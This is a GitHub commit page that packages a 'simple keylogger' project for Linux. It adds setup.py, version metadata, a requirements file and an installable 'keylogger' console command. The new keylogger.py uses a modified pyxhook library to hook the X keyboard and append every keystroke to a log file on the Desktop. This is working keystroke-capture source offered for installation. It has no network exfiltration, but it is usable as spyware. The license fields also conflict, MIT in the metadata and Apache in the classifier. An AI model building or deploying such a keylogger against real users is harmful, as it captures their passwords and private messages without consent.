Skip to content

Commit

Permalink
add package and setup.py file (#63)
Browse files Browse the repository at this point in the history
* add package and setup.py file

* Update __version__.py
  • Loading branch information
GreatBahram authored and GiacomoLaw committed Dec 4, 2018
1 parent 16e0886 commit d48701a
Show file tree
Hide file tree
Showing 7 changed files with 121 additions and 100 deletions.
51 changes: 0 additions & 51 deletions linux/keylogger.py

This file was deleted.

Empty file added linux/keylogger/__init__.py
Empty file.
7 changes: 7 additions & 0 deletions linux/keylogger/__version__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
__title__ = 'keylogger'
__description__ = ' A simple keylogger for Windows, Linux and Mac '
__url__ = 'https://simple-keylogger.github.io'
__version__ = '0.1'
__author__ = 'Giacomo Lawrance'
__author_email__ = '[email protected]'
__license__ = 'MIT'
57 changes: 57 additions & 0 deletions linux/keylogger/keylogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
#!/usr/bin/env python
import os

from keylogger import pyxhook


def main():
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
'pylogger_file',
os.path.expanduser('~/Desktop/file.log')
)

# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
os.environ.get(
'pylogger_cancel',
'`'
)[0]
)

# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
try:
os.remove(log_file)
except EnvironmentError:
# File does not exist, or no permissions.
pass


def OnKeyPress(event):
with open(log_file, 'a') as f:
f.write('{}\n'.format(event.Key))

if event.Ascii == cancel_key:
new_hook.cancel()


new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
new_hook.start()
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = 'Error while catching events:\n {}'.format(ex)
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write('\n{}'.format(msg))

if __name__ == '__main__':
main()
52 changes: 3 additions & 49 deletions linux/pyxhook.py → linux/keylogger/pyxhook.py
Original file line number Diff line number Diff line change
@@ -1,55 +1,15 @@
#!/usr/bin/env python
# modified version of pyxhook.py
# Reformatted/modified to work with Python 3+.
# pyxhook -- an extension to emulate some of the PyHook library on linux.
#
# Copyright (C) 2008 Tim Alexander <[email protected]>
#
# View the repo: https://github.com/JeffHoogland/pyxhook
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# Thanks to Alex Badea <[email protected]> for writing the Record
# demo for the xlib libraries. It helped me immensely working with these
# in this library.
#
# Thanks to the python-xlib team. This wouldn't have been possible without
# your code.
#
# This requires:
# at least python-xlib 1.4
# xwindows must have the 'record' extension present, and active.
#
# This file has now been somewhat extensively modified by
# Daniel Folkinshteyn <[email protected]>
# So if there are any bugs, they are probably my fault. :)
from __future__ import print_function

import sys
import re
import time
import sys
import threading
import time

from Xlib import X, XK, display, error # noqa
from Xlib import XK, X, display, error # noqa
from Xlib.ext import record
from Xlib.protocol import rq

#######################################################################
# ######################START CLASS DEF################################
#######################################################################


def print_err(*args, **kwargs):
""" A wrapper for print() that uses stderr by default. """
Expand All @@ -71,7 +31,6 @@ class HookManager(threading.Thread):
anything. It hands the function an argument that is the
PyxHookKeyEvent class.
"""

def __init__(self):
threading.Thread.__init__(self)
self.finished = threading.Event()
Expand Down Expand Up @@ -422,11 +381,6 @@ def __str__(self):
'MessageName: {s.MessageName}',
)).format(s=self)


#######################################################################
# ########################END CLASS DEF################################
#######################################################################

if __name__ == '__main__':
hm = HookManager()
hm.HookKeyboard()
Expand Down
2 changes: 2 additions & 0 deletions linux/requirments.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
six==1.11.0
xlib==0.21
52 changes: 52 additions & 0 deletions linux/setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
#!/usr/bin/env python
import os
import re
import sys

from codecs import open

from setuptools import setup, find_packages

here = os.path.abspath(os.path.dirname(__file__))

requires = [
'xlib',
]

about = {}
with open(os.path.join(here, 'keylogger', '__version__.py'), 'r', 'utf-8') as f:
exec(f.read(), about)

with open('README.md', 'r', 'utf-8') as f:
readme = f.read()

setup(
name=about['__title__'],
version=about['__version__'],
description=about['__description__'],
long_description=readme,
author=about['__author__'],
author_email=about['__author_email__'],
url=about['__url__'],
install_requires=requires,
license=about['__license__'],
packages=find_packages(),
zip_safe=False,
entry_points = {
'console_scripts':
["keylogger = keylogger.keylogger:main"],
},
classifiers=[
'Development Status :: 5 - Production/Stable',
'Intended Audience :: Developers',
'Natural Language :: English',
'License :: OSI Approved :: Apache Software License',
'Programming Language :: Python',
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: Implementation :: CPython',
],
)

0 comments on commit d48701a

Please sign in to comment.